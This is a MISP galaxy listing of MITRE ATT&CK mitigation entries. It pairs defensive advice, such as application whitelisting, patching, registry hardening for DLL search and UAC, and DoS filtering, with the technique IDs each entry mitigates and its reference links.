File and Directory Discovery Mitigation - T1083
File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="File and Directory Discovery Mitigation - T1083"
File and Directory Discovery Mitigation - T1083 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
DLL Search Order Hijacking Mitigation - T1038
Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm
Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)
Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
The tag is: misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation - T1038"
DLL Search Order Hijacking Mitigation - T1038 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
File System Permissions Weakness Mitigation - T1044
Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)
Turn off UAC’s privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.
The tag is: misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation - T1044"
File System Permissions Weakness Mitigation - T1044 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Exfiltration Over Alternative Protocol Mitigation - T1048
Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Alternative Protocol Mitigation - T1048"
Exfiltration Over Alternative Protocol Mitigation - T1048 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
Links |
System Network Connections Discovery Mitigation - T1049
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation - T1049"
System Network Connections Discovery Mitigation - T1049 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Service Registry Permissions Weakness Mitigation - T1058
Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
The tag is: misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"
Service Registry Permissions Weakness Mitigation - T1058 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Indicator Removal from Tools Mitigation - T1066
Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.
Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"
Indicator Removal from Tools Mitigation - T1066 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Exploitation for Privilege Escalation Mitigation - T1068
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.
The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"
Exploitation for Privilege Escalation Mitigation - T1068 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
Links |
Bypass User Account Control Mitigation - T1088
Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)
The tag is: misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation - T1088"
Bypass User Account Control Mitigation - T1088 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
Links |
Exploitation for Defense Evasion Mitigation - T1211
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"
Exploitation for Defense Evasion Mitigation - T1211 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
Links |
Extra Window Memory Injection Mitigation - T1181
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Extra Window Memory Injection Mitigation - T1181"
Extra Window Memory Injection Mitigation - T1181 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Exploitation for Credential Access Mitigation - T1212
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"
Exploitation for Credential Access Mitigation - T1212 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
Links |
Component Object Model Hijacking Mitigation - T1122
Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.
Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation - T1122"
Component Object Model Hijacking Mitigation - T1122 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Data from Information Repositories Mitigation - T1213
To mitigate adversary access to information repositories for collection:
-
Develop and publish policies that define acceptable information to be stored
-
Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
-
Enforce the principle of least-privilege
-
Periodic privilege review of accounts
-
Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories
The tag is: misp-galaxy:mitre-course-of-action="Data from Information Repositories Mitigation - T1213"
Data from Information Repositories Mitigation - T1213 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
Links |
Kernel Modules and Extensions Mitigation - T1215
Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.
LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.
Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)
The tag is: misp-galaxy:mitre-course-of-action="Kernel Modules and Extensions Mitigation - T1215"
Kernel Modules and Extensions Mitigation - T1215 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
Links |
Network Share Connection Removal Mitigation - T1126
Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).
Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation - T1126"
Network Share Connection Removal Mitigation - T1126 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Signed Script Proxy Execution Mitigation - T1216
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="Signed Script Proxy Execution Mitigation - T1216"
Signed Script Proxy Execution Mitigation - T1216 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
Links |
Signed Binary Proxy Execution Mitigation - T1218
Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.
The tag is: misp-galaxy:mitre-course-of-action="Signed Binary Proxy Execution Mitigation - T1218"
Signed Binary Proxy Execution Mitigation - T1218 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
Links |
Execution through Module Load Mitigation - T1129
Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.
The tag is: misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation - T1129"
Execution through Module Load Mitigation - T1129 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
Links |
Distributed Component Object Model Mitigation - T1175
Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)
Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)
Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)
Enable Windows firewall, which prevents DCOM instantiation by default.
Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)
The tag is: misp-galaxy:mitre-course-of-action="Distributed Component Object Model Mitigation - T1175"
Distributed Component Object Model Mitigation - T1175 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
Man in the Browser Mitigation - T1185
Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.
Close all browser sessions regularly and when they are no longer needed.
The tag is: misp-galaxy:mitre-course-of-action="Man in the Browser Mitigation - T1185"
Man in the Browser Mitigation - T1185 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
Links |
Hidden Files and Directories Mitigation - T1158
Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.
The tag is: misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation - T1158"
Hidden Files and Directories Mitigation - T1158 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Encrypted for Impact Mitigation - T1486
Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)
In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.
Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted for Impact Mitigation - T1486"
Data Encrypted for Impact Mitigation - T1486 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Network Denial of Service Mitigation - T1498
When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)
Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)
As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)
The tag is: misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"
Network Denial of Service Mitigation - T1498 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf |
Endpoint Denial of Service Mitigation - T1499
Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.
The tag is: misp-galaxy:mitre-course-of-action="Endpoint Denial of Service Mitigation - T1499"
Endpoint Denial of Service Mitigation - T1499 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf |
Exploit Public-Facing Application Mitigation - T1190
Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.
Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.
Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.
Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.
The tag is: misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"
Exploit Public-Facing Application Mitigation - T1190 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
Links |
Two-Factor Authentication Interception Mitigation - T1111
Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.
Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"
Two-Factor Authentication Interception Mitigation - T1111 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
.bash_profile and .bashrc Mitigation - T1156
Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.
The tag is: misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation - T1156"
-
mitigates: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
Links |
System Owner/User Discovery Mitigation - T1033
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation - T1033"
System Owner/User Discovery Mitigation - T1033 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Application Window Discovery Mitigation - T1010
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation - T1010"
Application Window Discovery Mitigation - T1010 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Behavior Prevention on Endpoint - M1040
Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.
The tag is: misp-galaxy:mitre-course-of-action="Behavior Prevention on Endpoint - M1040"
Behavior Prevention on Endpoint - M1040 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
Links |
Winlogon Helper DLL Mitigation - T1004
Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.
Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
The tag is: misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation - T1004"
Winlogon Helper DLL Mitigation - T1004 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Compile After Delivery Mitigation - T1500
This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Compile After Delivery Mitigation - T1500"
Compile After Delivery Mitigation - T1500 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Use Recent OS Version - M1006
New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.
The tag is: misp-galaxy:mitre-course-of-action="Use Recent OS Version - M1006"
Use Recent OS Version - M1006 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
-
